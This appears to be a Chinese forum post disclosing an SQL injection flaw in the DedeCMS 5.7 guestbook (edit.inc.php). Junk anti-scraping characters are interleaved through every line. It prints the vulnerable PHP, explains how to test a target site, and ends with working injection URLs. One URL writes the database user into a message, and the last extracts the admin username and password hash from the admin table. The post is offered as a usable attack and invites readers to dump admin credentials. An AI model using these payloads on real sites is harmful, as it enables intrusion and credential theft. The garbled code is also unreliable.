影响版本为5.7
3 B4 c: r/ L) S, \) {& G" l# y# M: A) o" ~6 J; S; d
漏洞文件edit.inc.php具体代码:* ~; c$ e' Z& H; z3 m" A8 Q
: E6 n6 x9 [& }# m6 t. @% b$ h
< ?php b9 ^% b" J5 E3 S7 K
* ~ d* d: n, }* ]. h; P& Gif(!defined('DEDEINC')) exit('Request Error!'); / O9 x9 e1 D% y1 U) P
$ u3 {/ G' F0 i( x: k/ n+ V - B4 H2 k) J# q
' n& o/ V, \/ ~( G% xif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
K% ~. X& C, ^0 o. m
; j* u2 X3 h, d" p4 v# j7 f$ s. {; k& t' ielse $GUEST_BOOK_POS = "guestbook.php";
, y6 m( I3 p9 o# {, i4 H& h6 @4 n& E8 m* z. Z+ u8 i
z, ]' L& B7 W5 X& a0 r: L
4 C4 r. [% B7 ^- C6 ^
$id = intval($id);
" L9 ^' I" k5 V- d, c
6 t6 v0 }/ ?/ I# p4 d$ ?4 Iif(empty($job)) $job='view'; & J/ o* a- f" p; U( {
5 Q$ i5 J% g% t8 |. |; M- J
|6 S7 W2 r1 Q1 }6 Q
. L7 a9 }! t- z* Q" r( O* D8 W
if($job=='del' && $g_isadmin) ! p# e* E- G! H1 M+ i' X
' Y A) t+ \, q. F4 e
{
8 i5 q5 X4 y0 T9 c) b) x+ F7 S. _4 j, K* ~" Y" P' Z
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); 8 H: ~: i1 D, O% o. @* J/ G
2 C9 Z. {! ~) \ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); * q0 [ }7 A9 {" T5 H6 [" e, W1 @
9 p) y0 |: y- Q$ u' k. texit(); : m- M# k- ?# `+ v2 G2 j# P
- z# X3 t# X6 K. o+ L}
) x# n" A( g3 ^: @2 T4 f
, ^: j; E2 T/ Y( H1 D* helse if($job=='check' && $g_isadmin)
6 O; C! y, k/ k u1 q P
, V# f6 u/ }7 t) e8 }{ # M0 t, z. |0 |/ p
& e5 ]$ v3 g Y( O9 V
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
3 V; A( a& {/ l3 x7 f6 X# m1 Q1 M2 K9 ^4 C* J7 n' q
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); 3 k! e. r0 |- T8 B, t4 _8 b
, L& `& `# M* U* O' V; b+ \exit(); % y: [( n- J& @3 J7 U1 \
. e; s, k1 W! Z( n
}
@* G$ O( B i4 O+ ^) N( X# W; j0 f- K, k+ @% w7 [
else if($job=='editok')
, a. Q7 n4 N& V1 T6 L6 n/ Y
. ]5 A8 N0 G% G `- B9 j$ a{ ! H$ M& k, o; q* A" e
7 |( I8 W5 o$ Z0 m$remsg = trim($remsg); 9 f3 e) R& @% {' l, }& s2 v+ Y5 i- c
: E' D* z1 }0 R
if($remsg!='') $ Y: k$ o) a1 p" R1 v( t- S
. `. G% ^3 L( B
{
% [- J1 U f v, v H1 u7 m' p+ }8 w$ ?- v6 o: H
//管理员回复不过滤HTML By:Errorera blog:errs.cc
" l2 `) Z" V0 Z4 @2 e
P/ L9 Q! l; { B1 Vif($g_isadmin) + \' m) I( }" B
+ ~8 h% B% M0 [8 i8 M
{ . b' [; \0 q5 _4 t
9 \7 z0 O! R1 E$ O# R( ^$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
. l3 h/ n) p3 C" \" u# l% g* T& s5 m& t, e& N4 M* T' e3 X
//$remsg <br /><font color=red>管理员回复:</font> } " i' O* P6 R( Z& e
; m C* U" e' C# w1 h( f" K0 helse ; E" T7 V# n( w8 u
8 n, {- _% f6 B{ ' @6 [& m1 _ S+ Z0 o3 M! l/ O# l
0 n! q/ [: f& j, }' ]$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); / `+ E5 K5 Y( e- O: O8 {! [
/ E/ o/ f ^: w( [
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
+ m. b5 k' w' D1 j% i
1 m) y% _9 ~: h. Z+ }$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
( G: g' o+ B9 k* T7 u8 N' x; T; Y. v, t; s$ \; m
$msg = $oldmsg.$remsg;
% k; `7 E9 W3 s$ k2 A }. d7 M
5 @% f3 s% p( h* V0 ?" S) n} " q# g0 m/ b( P0 L
* `4 O' D% S4 b1 p; G
} " I& R7 h; u. k0 x0 a
( V) v! v$ ^. c4 X1 [
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
( @5 _8 B' K$ v/ B9 J# u
# j" ~) ^& y: N) S+ G; [$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
3 s/ |' p/ t( r7 b+ Q
7 M4 \# f- H. e7 v s2 ?ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); 2 h2 {" f7 ~% j" U- I
0 f3 n1 b* Z w2 [1 E' q
exit(); : \8 U& Y: b0 E3 p* {" f7 K9 p
: l: J( u& i' @) v
} 3 j& v% I% b8 [1 q4 Q+ e& f
# J# i! U0 }7 e% `//home:www.errs.cc * U4 ^. t. a; l# j
. Q ^1 Q5 ?' U; x7 W$ s
if($g_isadmin) ) x5 U1 l8 ]9 Y; j$ ~' S; J
3 R a9 ~3 B9 |% z6 j& R
{
+ I! M: j3 Y. R. B3 H
6 X. W% ]8 S- G" G$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
& T3 [. F2 u1 f2 i3 t8 g4 {' {5 q+ ^( [4 a& @* t1 M
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
( w2 ?3 m& [1 E3 l, _* U! O) O9 @- P
1 ?/ J: a1 k) F4 P( z3 M {}
: c+ }) S' O! o+ v. n7 k. e- h# H5 ^5 r. C
5 f( V0 z$ l# G, h2 h+ |else + @: ~7 l" `- J3 O& _# R; a
% {0 R+ e# B. R0 Q{ ; N. Q$ ~) H1 H! U, N
& }, T3 R$ x4 @. }$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
: e+ H. {( ~# e# P
A! q& f* X5 F+ A; }( T8 trequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
- Y! K* |* C1 m3 o7 H% [
9 t% K% h* ~4 J5 B# J6 k7 K4 }8 Q} 漏洞成功需要条件:2 R8 K7 E' j3 G0 f& X+ \; w* @* m0 F
1. php magic_quotes_gpc=off& b- Q( i3 n$ n. l
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
6 `/ v- @1 r$ M1 s$ J* \- N- V6 @/ K% i
怎么判断是否存在漏洞:' c& H3 {- I4 p' W$ f# s4 H
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,6 P1 ~2 @, q1 C5 Z+ l4 y" V
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 i8 s- L2 H) F/ u* F+ W访问:3 F" H; s1 @( A
/ E5 O+ G$ b" n5 b' L, A' P# [/ Y
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了1 \/ n b! t& \7 Z4 p( F
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
; x; i ~, |7 h4 S6 R9 D2 y+ L; \( Z" Z8 _4 S+ f% a
8 k% W( }( L4 ~" v& e
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off; J9 l/ p+ S: a
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
! e2 T8 O/ z+ H2 E那么再次访问( c: j% l% R& R$ W+ v, l
! z. _/ M! w4 }3 w' e6 b3 s7 S- L
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
! g: h' }3 _7 F% w* C- Z
, O. u& m0 f& y0 Q大概利用就是这样,大家有兴趣的多研究下!!
* m- t& ~9 Y% o* \
' t$ h4 [: v8 p% g最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
0 E4 M- P! c" u( v2 c2 o
( q7 N& X5 l9 K% k# Q) Cview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |